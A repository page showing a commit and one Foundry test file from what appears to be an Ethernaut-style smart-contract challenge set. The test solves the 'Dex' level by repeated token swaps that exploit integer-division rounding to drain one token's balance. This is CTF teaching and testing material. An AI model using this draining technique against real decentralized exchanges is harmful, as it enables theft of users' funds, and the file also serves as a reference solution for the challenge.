Files
zeekayandHanzo Dev 8c2e9e3d6f Add Foundry exploit tests for all 30 levels
Each level test proves a fresh instance is unsolved, runs the reference
exploit (contracts/src/attacks/* or the equivalent steps) and asserts Lux
records completion. Motorbike stops at seizing the uninitialised Engine:
its "engine destroyed" completion needs selfdestruct to delete code, which
EIP-6780 forbids across transactions on the Cancun baseline, so the test
proves the seizure and documents the limit.

Co-authored-by: Hanzo Dev <[email protected]>
2026-09-23 02:23:08 -07:00

42 lines
1.3 KiB
Solidity

// SPDX-License-Identifier: MIT
pragma solidity 0.8.37;
import {LuxTest} from "../Base.t.sol";
import {DexFactory} from "../../src/levels/DexFactory.sol";
import {Dex} from "../../src/levels/Dex.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract DexLevel is LuxTest {
DexFactory factory;
address player = makeAddr("player");
function setUp() public {
_deployCore();
factory = new DexFactory();
_register(factory);
}
function test_solve() public {
address instance = _create(factory, player, 0);
_assertUnsolved(instance, player);
address t1 = Dex(instance).token1();
address t2 = Dex(instance).token2();
// Integer-division rounding lets each swap take slightly more than it
// gives; the final amount is capped to drain token1 exactly to zero.
vm.startPrank(player, player);
Dex(instance).approve(instance, type(uint256).max);
Dex(instance).swap(t1, t2, 10);
Dex(instance).swap(t2, t1, 20);
Dex(instance).swap(t1, t2, 24);
Dex(instance).swap(t2, t1, 30);
Dex(instance).swap(t1, t2, 41);
Dex(instance).swap(t2, t1, 45);
vm.stopPrank();
assertEq(IERC20(t1).balanceOf(instance), 0);
_assertSolved(factory, instance, player);
}
}